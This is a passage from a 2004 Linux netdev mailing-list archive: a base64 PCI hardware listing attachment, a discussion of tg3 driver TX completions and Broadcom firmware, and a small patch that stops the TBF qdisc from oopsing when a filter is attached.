MSAwMCAwMCAwNSAwMCAwMCA4MCAwMAoxMDogMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAg MDAgMDAgMDAgMDAgMDAgMDAKMjA6IDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAw IGRlIDEwIDE3IDBjCjMwOiAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCBmZiAw MCAwMCAwMAoKMDA6MDAuMiBSQU0gbWVtb3J5OiBuVmlkaWEgQ29ycG9yYXRpb246IFVua25vd24g ZGV2aWNlIDAxZWUgKHJldiBjMSkKCVN1YnN5c3RlbTogblZpZGlhIENvcnBvcmF0aW9uOiBVbmtu b3duIGRldmljZSAwYzE3CglGbGFnczogNjZNaHosIGZhc3QgZGV2c2VsCjAwOiBkZSAxMCBlZSAw MSAwMCAwMCAyMCAwMCBjMSAwMCAwMCAwNSAwMCAwMCA4MCAwMAoxMDogMDAgMDAgMDAgMDAgMDAg MDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAKMjA6IDAwIDAwIDAwIDAwIDAwIDAwIDAw IDAwIDAwIDAwIDAwIDAwIGRlIDEwIDE3IDBjCjMwOiAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAw MCAwMCAwMCAwMCBmZiAwMCAwMCAwMAoKMDA6MDAuMyBSQU0gbWVtb3J5OiBuVmlkaWEgQ29ycG9y YXRpb246IFVua25vd24gZGV2aWNlIDAxZWQgKHJldiBjMSkKCVN1YnN5c3RlbTogblZpZGlhIENv cnBvcmF0aW9uOiBVbmtub3duIGRldmljZSAwYzE3CglGbGFnczogNjZNaHosIGZhc3QgZGV2c2Vs CjAwOiBkZSAxMCBlZCAwMSAwMCAwMCAyMCAwMCBjMSAwMCAwMCAwNSAwMCAwMCA4MCAwMAoxMDog MDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAKMjA6IDAwIDAw IDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIGRlIDEwIDE3IDBjCjMwOiAwMCAwMCAwMCAw MCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMAoKMDA6MDAuNCBSQU0gbWVtb3J5 OiBuVmlkaWEgQ29ycG9yYXRpb246IFVua25vd24gZGV2aWNlIDAxZWMgKHJldiBjMSkKCVN1YnN5 c3RlbTogblZpZGlhIENvcnBvcmF0aW9uOiBVbmtub3duIGRldmljZSAwYzE3CglGbGFnczogNjZN aHosIGZhc3QgZGV2c2VsCjAwOiBkZSAxMCBlYyAwMSAwMCAwMCAyMCAwMCBjMSAwMCAwMCAwNSAw MCAwMCA4MCAwMAoxMDogMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAg MDAgMDAKMjA6IDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIGRlIDEwIDE3IDBj CjMwOiAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCBmZiAwMCAwMCAwMAoKMDA6 MDAuNSBSQU0gbWVtb3J5OiBuVmlkaWEgQ29ycG9yYXRpb246IFVua25vd24gZGV2aWNlIDAxZWYg KHJldiBjMSkKCVN1YnN5c3RlbTogblZpZGlhIENvcnBvcmF0aW9uOiBVbmtub3duIGRldmljZSAw YzE3CglGbGFnczogNjZNaHosIGZhc3QgZGV2c2VsCjAwOiBkZSAxMCBlZiAwMSAwMCAwMCAyMCAw MCBjMSAwMCAwMCAwNSAwMCAwMCA4MCAwMAoxMDogMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAg MDAgMDAgMDAgMDAgMDAgMDAgMDAKMjA6IDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAw IDAwIGRlIDEwIDE3IDBjCjMwOiAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCBm ZiAwMCAwMCAwMAoKMDA6MDEuMCBJU0EgYnJpZGdlOiBuVmlkaWEgQ29ycG9yYXRpb246IFVua25v d24gZGV2aWNlIDAwNjAgKHJldiBhNCkKCVN1YnN5c3RlbTogR2lnYS1ieXRlIFRlY2hub2xvZ3k6 IFVua25vd24gZGV2aWNlIDBjMTEKCUZsYWdzOiBidXMgbWFzdGVyLCA2Nk1oeiwgZmFzdCBkZXZz ZWwsIGxhdGVuY3kgMAoJQ2FwYWJpbGl0aWVzOiBbNDhdICMwOCBbMDFlMV0KMDA6IGRlIDEwIDYw IDAwIDBmIDAwIGIwIDAwIGE0IDAwIDAxIDA2IDAwIDAwIDgwIDAwCjEwOiAwMCAwMCAwMCAwMCAw MCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMAoyMDogMDAgMDAgMDAgMDAgMDAgMDAg MDAgMDAgMDAgMDAgMDAgMDAgNTggMTQgMTEgMGMKMzA6IDAwIDAwIDAwIDAwIDQ4IDAwIDAwIDAw IDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwCgowMDowMS4xIFNNQnVzOiBuVmlkaWEgQ29ycG9yYXRp b246IFVua25vd24gZGV2aWNlIDAwNjQgKHJldiBhMikKCVN1YnN5c3RlbTogR2lnYS1ieXRlIFRl Y2hub2xvZ3k6IFVua25vd24gZGV2aWNlIDBjMTEKCUZsYWdzOiA2Nk1oeiwgZmFzdCBkZXZzZWws IElSUSA5CglJL08gcG9ydHMgYXQgZTQwMCBbc2l6ZT0zMl0KCUNhcGFiaWxpdGllczogWzQ0XSBQ b3dlciBNYW5hZ2VtZW50IHZlcnNpb24gMgowMDogZGUgMTAgNjQgMDAgMDEgMDAgYjAgMDAgYTIg MDAgMDUgMGMgMDAgMDAgODAgMDAKMTA6IDAxIGU0IDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAw IDAwIDAwIDAwIDAwIDAwCjIwOiAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCA1 OCAxNCAxMSAwYwozMDogMDAgMDAgMDAgMDAgNDQgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDkgMDEg MDMgMDEKCjAwOjAyLjAgVVNCIENvbnRyb2xsZXI6IG5WaWRpYSBDb3Jwb3JhdGlvbjogVW5rbm93 biBkZXZpY2UgMDA2NyAocmV2IGE0KSAocHJvZy1pZiAxMCBbT0hDSV0pCglTdWJzeXN0ZW06IEdp Z2EtYnl0ZSBUZWNobm9sb2d5OiBVbmtub3duIGRldmljZSA1MDA0CglGbGFnczogYnVzIG1hc3Rl ciwgNjZNaHosIGZhc3QgZGV2c2VsLCBsYXRlbmN5IDAsIElSUSA0CglNZW1vcnkgYXQgZTEwMDIw MDAgKDMyLWJpdCwgbm9uLXByZWZldGNoYWJsZSkgW3NpemU9NEtdCglDYXBhYmlsaXRpZXM6IFs0 NF0gUG93ZXIgTWFuYWdlbWVudCB2ZXJzaW9uIDIKMDA6IGRlIDEwIDY3IDAwIDA3IDAwIGIwIDAw IGE0IDEwIDAzIDBjIDAwIDAwIDgwIDAwCjEwOiAwMCAyMCAwMCBlMSAwMCAwMCAwMCAwMCAwMCAw MCAwMCAwMCAwMCAwMCAwMCAwMAoyMDogMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAg MDAgNTggMTQgMDQgNTAKMzA6IDAwIDAwIDAwIDAwIDQ0IDAwIDAwIDAwIDAwIDAwIDAwIDAwIDA0 IDAxIDAzIDAxCgowMDowMi4xIFVTQiBDb250cm9sbGVyOiBuVmlkaWEgQ29ycG9yYXRpb246IFVu a25vd24gZGV2aWNlIDAwNjcgKHJldiBhNCkgKHByb2ctaWYgMTAgW09IQ0ldKQoJU3Vic3lzdGVt OiBHaWdhLWJ5dGUgVGVjaG5vbG9neTogVW5rbm93biBkZXZpY2UgNTAwNAoJRmxhZ3M6IGJ1cyBt YXN0ZXIsIDY2TWh6LCBmYXN0IGRldnNlbCwgbGF0ZW5jeSAwLCBJUlEgMwoJTWVtb3J5IGF0IGUx MDAzMDAwICgzMi1iaXQsIG5vbi1wcmVmZXRjaGFibGUpIFtzaXplPTRLXQoJQ2FwYWJpbGl0aWVz OiBbNDRdIFBvd2VyIE1hbmFnZW1lbnQgdmVyc2lvbiAyCjAwOiBkZSAxMCA2NyAwMCAwNyAwMCBi MCAwMCBhNCAxMCAwMyAwYyAwMCAwMCA4MCAwMAoxMDogMDAgMzAgMDAgZTEgMDAgMDAgMDAgMDAg MDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAKMjA6IDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAw IDAwIDAwIDU4IDE0IDA0IDUwCjMwOiAwMCAwMCAwMCAwMCA0NCAwMCAwMCAwMCAwMCAwMCAwMCAw MCAwMyAwMiAwMyAwMQoKMDA6MDYuMCBNdWx0aW1lZGlhIGF1ZGlvIGNvbnRyb2xsZXI6IG5WaWRp YSBDb3Jwb3JhdGlvbjogVW5rbm93biBkZXZpY2UgMDA2YSAocmV2IGExKQoJU3Vic3lzdGVtOiBH aWdhLWJ5dGUgVGVjaG5vbG9neTogVW5rbm93biBkZXZpY2UgYTAwMgoJRmxhZ3M6IGJ1cyBtYXN0 ZXIsIDY2TWh6LCBmYXN0IGRldnNlbCwgbGF0ZW5jeSAwLCBJUlEgNQoJSS9PIHBvcnRzIGF0IGQ0 MDAgW3NpemU9MjU2XQoJSS9PIHBvcnRzIGF0IGQ4MDAgW3NpemU9MTI4XQoJTWVtb3J5IGF0IGUx MDAwMDAwICgzMi1iaXQsIG5vbi1wcmVmZXRjaGFibGUpIFtzaXplPTRLXQoJQ2FwYWJpbGl0aWVz OiBbNDRdIFBvd2VyIE1hbmFnZW1lbnQgdmVyc2lvbiAyCjAwOiBkZSAxMCA2YSAwMCAwNyAwMCBi MCAwMCBhMSAwMCAwMSAwNCAwMCAwMCAwMCAwMAoxMDogMDEgZDQgMDAgMDAgMDEgZDggMDAgMDAg MDAgMDAgMDAgZTEgMDAgMDAgMDAgMDAKMjA6IDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAw IDAwIDAwIDU4IDE0IDAyIGEwCjMwOiAwMCAwMCAwMCAwMCA0NCAwMCAwMCAwMCAwMCAwMCAwMCAw MCAwNSAwMSAwMiAwNQoKMDA6MDguMCBQQ0kgYnJpZGdlOiBuVmlkaWEgQ29ycG9yYXRpb246IFVu a25vd24gZGV2aWNlIDAwNmMgKHJldiBhMykgKHByb2ctaWYgMDAgW05vcm1hbCBkZWNvZGVdKQoJ RmxhZ3M6IGJ1cyBtYXN0ZXIsIDY2TWh6LCBmYXN0IGRldnNlbCwgbGF0ZW5jeSAwCglCdXM6IHBy aW1hcnk9MDAsIHNlY29uZGFyeT0wMSwgc3Vib3JkaW5hdGU9MDEsIHNlYy1sYXRlbmN5PTMyCglJ L08gYmVoaW5kIGJyaWRnZTogMDAwMGEwMDAtMDAwMGNmZmYKCU1lbW9yeSBiZWhpbmQgYnJpZGdl OiBkZjAwMDAwMC1lMGZmZmZmZgoJUHJlZmV0Y2hhYmxlIG1lbW9yeSBiZWhpbmQgYnJpZGdlOiBk YzAwMDAwMC1kY2ZmZmZmZgowMDogZGUgMTAgNmMgMDAgMDcgMDEgYTAgMDAgYTMgMDAgMDQgMDYg MDAgMDAgMDEgMDAKMTA6IDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAxIDAxIDIwIGEwIGMw IDgwIGEyCjIwOiAwMCBkZiBmMCBlMCAwMCBkYyBmMCBkYyAwMCAwMCAwMCAwMCAwMCAwMCAwMCAw MAozMDogMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDIgMDAKCjAw OjA5LjAgSURFIGludGVyZmFjZTogblZpZGlhIENvcnBvcmF0aW9uOiBVbmtub3duIGRldmljZSAw MDY1IChyZXYgYTIpIChwcm9nLWlmIDhhIFtNYXN0ZXIgU2VjUCBQcmlQXSkKCVN1YnN5c3RlbTog R2lnYS1ieXRlIFRlY2hub2xvZ3k6IFVua25vd24gZGV2aWNlIDUwMDIKCUZsYWdzOiBidXMgbWFz dGVyLCA2Nk1oeiwgZmFzdCBkZXZzZWwsIGxhdGVuY3kgMAoJSS9PIHBvcnRzIGF0IGYwMDAgW3Np emU9MTZdCglDYXBhYmlsaXRpZXM6IFs0NF0gUG93ZXIgTWFuYWdlbWVudCB2ZXJzaW9uIDIKMDA6 IGRlIDEwIDY1IDAwIDA1IDAwIGIwIDAwIGEyIDhhIDAxIDAxIDAwIDAwIDAwIDAwCjEwOiAwMCAw MCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMAoyMDogMDEgZjAgMDAg MDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgNTggMTQgMDIgNTAKMzA6IDAwIDAwIDAwIDAwIDQ0 IDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAzIDAxCgowMDoxZS4wIFBDSSBicmlkZ2U6IG5W aWRpYSBDb3Jwb3JhdGlvbjogVW5rbm93biBkZXZpY2UgMDFlOCAocmV2IGMxKSAocHJvZy1pZiAw MCBbTm9ybWFsIGRlY29kZV0pCglGbGFnczogYnVzIG1hc3RlciwgNjZNaHosIG1lZGl1bSBkZXZz ZWwsIGxhdGVuY3kgMzIKCUJ1czogcHJpbWFyeT0wMCwgc2Vjb25kYXJ5PTAyLCBzdWJvcmRpbmF0 ZT0wMiwgc2VjLWxhdGVuY3k9MzIKCU1lbW9yeSBiZWhpbmQgYnJpZGdlOiBkZDAwMDAwMC1kZWZm ZmZmZgoJUHJlZmV0Y2hhYmxlIG1lbW9yeSBiZWhpbmQgYnJpZGdlOiBkMDAwMDAwMC1kN2ZmZmZm ZgowMDogZGUgMTAgZTggMDEgMDcgMDEgMjAgMDIgYzEgMDAgMDQgMDYgMDAgMjAgMDEgMDAKMTA6 IDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAyIDAyIDIwIGYwIDAwIDIwIDIyCjIwOiAwMCBk ZCBmMCBkZSAwMCBkMCBmMCBkNyAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMAozMDogMDAgMDAgMDAg MDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMGEgMDAKCjAxOjA3LjAgTXVsdGltZWRp YSB2aWRlbyBjb250cm9sbGVyOiBCcm9va3RyZWUgQ29ycG9yYXRpb24gQnQ4NzggVmlkZW8gQ2Fw dHVyZSAocmV2IDExKQoJU3Vic3lzdGVtOiBBdmVybWVkaWEgVGVjaG5vbG9naWVzIEluYyBBVmVy VFYgV0RNIFZpZGVvIENhcHR1cmUKCUZsYWdzOiBidXMgbWFzdGVyLCBtZWRpdW0gZGV2c2VsLCBs YXRlbmN5IDMyLCBJUlEgMTAKCU1lbW9yeSBhdCBkYzAwMDAwMCAoMzItYml0LCBwcmVmZXRjaGFi bGUpIFtzaXplPTRLXQoJQ2FwYWJpbGl0aWVzOiBbNDRdIFZpdGFsIFByb2R1Y3QgRGF0YQoJQ2Fw YWJpbGl0aWVzOiBbNGNdIFBvd2VyIE1hbmFnZW1lbnQgdmVyc2lvbiAyCjAwOiA5ZSAxMCA2ZSAw MyAwNiAwMCA5MCAwMiAxMSAwMCAwMCAwNCAwMCAyMCA4MCAwMAoxMDogMDggMDAgMDAgZGMgMDAg MDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAKMjA6IDAwIDAwIDAwIDAwIDAwIDAwIDAw IDAwIDAwIDAwIDAwIDAwIDYxIDE0IDA0IDAwCjMwOiAwMCAwMCAwMCAwMCA0NCAwMCAwMCAwMCAw MCAwMCAwMCAwMCAwYSAwMSAxMCAyOAoKMDE6MDcuMSBNdWx0aW1lZGlhIGNvbnRyb2xsZXI6IEJy b29rdHJlZSBDb3Jwb3JhdGlvbiBCdDg3OCBBdWRpbyBDYXB0dXJlIChyZXYgMTEpCglTdWJzeXN0 ZW06IEF2ZXJtZWRpYSBUZWNobm9sb2dpZXMgSW5jIEFWZXJUViBXRE0gQXVkaW8gQ2FwdHVyZQoJ RmxhZ3M6IGJ1cyBtYXN0ZXIsIG1lZGl1bSBkZXZzZWwsIGxhdGVuY3kgMzIsIElSUSAxMAoJTWVt b3J5IGF0IGRjMDAxMDAwICgzMi1iaXQsIHByZWZldGNoYWJsZSkgW3NpemU9NEtdCglDYXBhYmls aXRpZXM6IFs0NF0gVml0YWwgUHJvZHVjdCBEYXRhCglDYXBhYmlsaXRpZXM6IFs0Y10gUG93ZXIg TWFuYWdlbWVudCB2ZXJzaW9uIDIKMDA6IDllIDEwIDc4IDA4IDA2IDAwIDkwIDAyIDExIDAwIDgw IDA0IDAwIDIwIDgwIDAwCjEwOiAwOCAxMCAwMCBkYyAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAw MCAwMCAwMCAwMAoyMDogMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgNjEgMTQg MDQgMDAKMzA6IDAwIDAwIDAwIDAwIDQ0IDAwIDAwIDAwIDAwIDAwIDAwIDAwIDBhIDAxIDA0IGZm CgowMTowYi4wIEV0aGVybmV0IGNvbnRyb2xsZXI6IFJlYWx0ZWsgU2VtaWNvbmR1Y3RvciBDby4s IEx0ZC4gUlRMLTgxNjkgKHJldiAxMCkKCVN1YnN5c3RlbTogR2lnYS1ieXRlIFRlY2hub2xvZ3k6 IFVua25vd24gZGV2aWNlIGUwMDAKCUZsYWdzOiBidXMgbWFzdGVyLCA2Nk1oeiwgbWVkaXVtIGRl dnNlbCwgbGF0ZW5jeSAzMiwgSVJRIDExCglJL08gcG9ydHMgYXQgYTAwMCBbc2l6ZT0yNTZdCglN ZW1vcnkgYXQgZTAwMDYwMDAgKDMyLWJpdCwgbm9uLXByZWZldGNoYWJsZSkgW3NpemU9MjU2XQoJ RXhwYW5zaW9uIFJPTSBhdCA8dW5hc3NpZ25lZD4gW2Rpc2FibGVkXSBbc2l6ZT02NEtdCglDYXBh YmlsaXRpZXM6IFtkY10gUG93ZXIgTWFuYWdlbWVudCB2ZXJzaW9uIDIKMDA6IGVjIDEwIDY5IDgx IDA3IDAwIGIwIDAyIDEwIDAwIDAwIDAyIDA4IDIwIDAwIDAwCjEwOiAwMSBhMCAwMCAwMCAwMCA2 MCAwMCBlMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMAoyMDogMDAgMDAgMDAgMDAgMDAgMDAgMDAg MDAgMDAgMDAgMDAgMDAgNTggMTQgMDAgZTAKMzA6IDAwIDAwIDAwIDAwIGRjIDAwIDAwIDAwIDAw IDAwIDAwIDAwIDBiIDAxIDIwIDQwCgowMTowZS4wIEZpcmVXaXJlIChJRUVFIDEzOTQpOiBUZXhh cyBJbnN0cnVtZW50cyBUU0I0M0FCMjMgSUVFRS0xMzk0YS0yMDAwIENvbnRyb2xsZXIgKFBIWS9M aW5rKSAocHJvZy1pZiAxMCBbT0hDSV0pCglTdWJzeXN0ZW06IEdpZ2EtYnl0ZSBUZWNobm9sb2d5 OiBVbmtub3duIGRldmljZSAxMDAwCglGbGFnczogYnVzIG1hc3RlciwgbWVkaXVtIGRldnNlbCwg bGF0ZW5jeSAzMiwgSVJRIDExCglNZW1vcnkgYXQgZTAwMDUwMDAgKDMyLWJpdCwgbm9uLXByZWZl dGNoYWJsZSkgW3NpemU9MktdCglNZW1vcnkgYXQgZTAwMDAwMDAgKDMyLWJpdCwgbm9uLXByZWZl dGNoYWJsZSkgW3NpemU9MTZLXQoJQ2FwYWJpbGl0aWVzOiBbNDRdIFBvd2VyIE1hbmFnZW1lbnQg dmVyc2lvbiAyCjAwOiA0YyAxMCAyNCA4MCAwNiAwMCAxMCAwMiAwMCAxMCAwMCAwYyAwOCAyMCAw MCAwMAoxMDogMDAgNTAgMDAgZTAgMDAgMDAgMDAgZTAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAK MjA6IDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDU4IDE0IDAwIDEwCjMwOiAw MCAwMCAwMCAwMCA0NCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwYiAwMSAwMiAwNAoKMDI6MDAuMCBW R0EgY29tcGF0aWJsZSBjb250cm9sbGVyOiBuVmlkaWEgQ29ycG9yYXRpb24gTlYxMSBbR2VGb3Jj ZTIgTVhdIChyZXYgYjIpIChwcm9nLWlmIDAwIFtWR0FdKQoJRmxhZ3M6IGJ1cyBtYXN0ZXIsIDY2 TWh6LCBtZWRpdW0gZGV2c2VsLCBsYXRlbmN5IDMyLCBJUlEgMTAKCU1lbW9yeSBhdCBkZDAwMDAw MCAoMzItYml0LCBub24tcHJlZmV0Y2hhYmxlKSBbc2l6ZT0xNk1dCglNZW1vcnkgYXQgZDAwMDAw MDAgKDMyLWJpdCwgcHJlZmV0Y2hhYmxlKSBbc2l6ZT0xMjhNXQoJRXhwYW5zaW9uIFJPTSBhdCA8 dW5hc3NpZ25lZD4gW2Rpc2FibGVkXSBbc2l6ZT02NEtdCglDYXBhYmlsaXRpZXM6IFs2MF0gUG93 ZXIgTWFuYWdlbWVudCB2ZXJzaW9uIDIKCUNhcGFiaWxpdGllczogWzQ0XSBBR1AgdmVyc2lvbiAy LjAKMDA6IGRlIDEwIDEwIDAxIDA3IDAwIGIwIDAyIGIyIDAwIDAwIDAzIDAwIDIwIDAwIDAwCjEw OiAwMCAwMCAwMCBkZCAwOCAwMCAwMCBkMCAwMCAwMCAwMCAwMCAwMCAwMCAwMCAwMAoyMDogMDAg MDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAKMzA6IDAwIDAwIDAw IDAwIDYwIDAwIDAwIDAwIDAwIDAwIDAwIDAwIDBhIDAxIDA1IDAxCgo= --Multipart_Tue__25_May_2004_19:10:36_-0500_081ffda0-- From gnb@speed.melbourne.sgi.com Tue May 25 17:54:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 25 May 2004 17:54:47 -0700 (PDT) Received: from zok.sgi.com (mtvcafw.sgi.com [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4Q0shgi021969 for ; Tue, 25 May 2004 17:54:43 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with SMTP id i4Q0sahv012584 for ; Tue, 25 May 2004 17:54:37 -0700 Received: from speed.melbourne.sgi.com (speed.melbourne.sgi.com [134.14.55.174]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id KAA02821; Wed, 26 May 2004 10:54:29 +1000 Received: by speed.melbourne.sgi.com (Postfix, from userid 16345) id 857B657980; Wed, 26 May 2004 10:54:29 +1000 (EST) Date: Wed, 26 May 2004 10:54:29 +1000 From: Greg Banks To: Michael Chan Cc: "David S. Miller" , netdev@oss.sgi.com Subject: Re: [PATCH] fix BUG in tg3_tx Message-ID: <20040526005429.GC2689@sgi.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.27i X-archive-position: 5335 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: gnb@sgi.com Precedence: bulk X-list: netdev On Tue, May 25, 2004 at 01:04:24PM -0700, Michael Chan wrote: > > Greg, did you see Micahel Chan's response? A Broadcom > > engineer is telling us "the hardware does not ACK partial TX packets." > > > That's right. The hw is designed to always complete tx packets on packet > boundaries and not BD boundaries. The send data completion state machine > will create 1 single dma descriptor and 1 host coalescing descriptor for > the entire packet. All of our drivers do not handle individual BD > completions and I'm not aware of any problems caused by this. Actually > we did see some partial packet completions during the early > implementions of TSO/LSO. But those were firmware issues and have been > fixed long time ago. tg3 is not using those early TSO firmware. I believe the SGI-branded cards ship with firmware fixes beyond simply changing the PCI ids. Also, AFAIK it dates from about the time of the TSO experiments. Can you check if that firmware has the issue you describe? > > I don't argue that you aren't seeing something strange, but > > perhaps that is due to corruption occuring elsewhere, or > > perhaps something peculiar about your system hardware > > (perhaps the PCI controller mis-orders PCI transactions or > > something silly like that)? > Good point. A few years ago we saw cases where there were tx completions > on BDs that had not been sent. It turned out that on that machine, the > chipset was re-ordering the posted mmio writes to the send mailbox > register from 2 CPUs. For example, CPU 1 wrote index 1 and CPU wrote > index 2 a little later. On the PCI bus, we saw memory write of 2 > followed by 1. When the chip saw 2, it would send both packets. When it > later saw 1, it thought that there were 512 new tx BDs and went ahead to > send them. The only effective workaround for this chipset problem was a > read of the send mailbox after the write to flush it. The tg3 driver already does this if the TG3_FLAG_MBOX_WRITE_REORDER flag is set in tp->tg3_flags. There's been some discussion inside SGI about that behaviour. In short, our PCI hardware is susceptible to PIO write reordering, but experiment has shown that enabling that flag results in an unacceptable throughput degradation (about 10%). I have also noticed that under significant load the softirq portion of the driver gets scheduled on other CPUs than the interrupt CPU, including CPUs in other NUMA nodes. This sounds like a theory I can test. Greg. -- Greg Banks, R&D Software Engineer, SGI Australian Software Group. I don't speak for SGI. From mchan@broadcom.com Tue May 25 18:29:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 25 May 2004 18:29:32 -0700 (PDT) Received: from mms3.broadcom.com (mms3.broadcom.com [63.70.210.38]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4Q1TSgi022694 for ; Tue, 25 May 2004 18:29:29 -0700 Received: from 63.70.210.1 by mms3.broadcom.com with ESMTP (Broadcom SMTP Relay (MMS v5.6.0)); Tue, 25 May 2004 18:29:03 -0700 X-Server-Uuid: 8D569F9F-42CF-4602-970D-AACC4BD5D310 Received: from nt-irva-0741.brcm.ad.broadcom.com ( nt-irva-0741.brcm.ad.broadcom.com [10.8.194.54]) by mon-irva-11.broadcom.com (8.9.1/8.9.1) with ESMTP id SAA26940; Tue, 25 May 2004 18:22:02 -0700 (PDT) X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Subject: RE: [PATCH] fix BUG in tg3_tx Date: Tue, 25 May 2004 18:22:23 -0700 Message-ID: Thread-Topic: [PATCH] fix BUG in tg3_tx Thread-Index: AcRCvA+TNhc3xGYmREqmE7nZt/nHsQAA2+Rw From: "Michael Chan" To: "Greg Banks" cc: "David S. Miller" , netdev@oss.sgi.com X-WSS-ID: 6CAD2DE51LW3981895-210-01 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i4Q1TSgi022694 X-archive-position: 5336 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mchan@broadcom.com Precedence: bulk X-list: netdev > > I believe the SGI-branded cards ship with firmware fixes > beyond simply changing the PCI ids. Also, AFAIK it dates > from about the time of the TSO experiments. Can you check if > that firmware has the issue you describe? > TSO firmware is downloaded by the driver and not shipped with the card. tg3 is using TSO firmware version 1.4.0 which is the latest for 5703 and 5704. Michael From dtor_core@ameritech.net Tue May 25 21:12:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 25 May 2004 21:12:42 -0700 (PDT) Received: from smtp807.mail.sc5.yahoo.com (smtp807.mail.sc5.yahoo.com [66.163.168.186]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4Q4Cdgi028923 for ; Tue, 25 May 2004 21:12:39 -0700 Received: from unknown (HELO core-wl.prvt.inr.net) (dtor?core@ameritech.net@68.79.171.232 with plain) by smtp807.mail.sc5.yahoo.com with SMTP; 26 May 2004 04:12:39 -0000 From: Dmitry Torokhov To: netdev@oss.sgi.com Subject: [PATCH 2.6] TBF: do not oops when user tries to attach/show filter Date: Tue, 25 May 2004 23:12:37 -0500 User-Agent: KMail/1.6.2 Cc: "David S. Miller" MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message-Id: <200405252312.37140.dtor_core@ameritech.net> X-archive-position: 5338 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dtor_core@ameritech.net Precedence: bulk X-list: netdev TBF does not allow attaching filters; implement dummy tcf_chain method to avoid oopsing. -- Dmitry =================================================================== ChangeSet@1.1750, 2004-05-25 22:54:30-05:00, dtor_core@ameritech.net [NET_SCHED] Do not oops when user tries to attach a filter to a TBF qdisc. (TBF does not allow attaching filters as it has only one class, filter should be attached either to TBF's parent or to its child) sch_tbf.c | 6 ++++++ 1 files changed, 6 insertions(+) =================================================================== diff -Nru a/net/sched/sch_tbf.c b/net/sched/sch_tbf.c --- a/net/sched/sch_tbf.c 2004-05-25 22:57:37 -05:00 +++ b/net/sched/sch_tbf.c 2004-05-25 22:57:37 -05:00 @@ -495,6 +495,11 @@ } } +static struct tcf_proto **tbf_find_tcf(struct Qdisc *sch, unsigned long cl) +{ + return NULL; +} + static struct Qdisc_class_ops tbf_class_ops = { .graft = tbf_graft, @@ -504,6 +509,7 @@ .change = tbf_change_class, .delete = tbf_delete, .walk = tbf_walk, + .tcf_chain = tbf_find_tcf, .dump = tbf_dump_class, }; From ray_cole@earthlink.net Tue May 25 21:12:21 2004 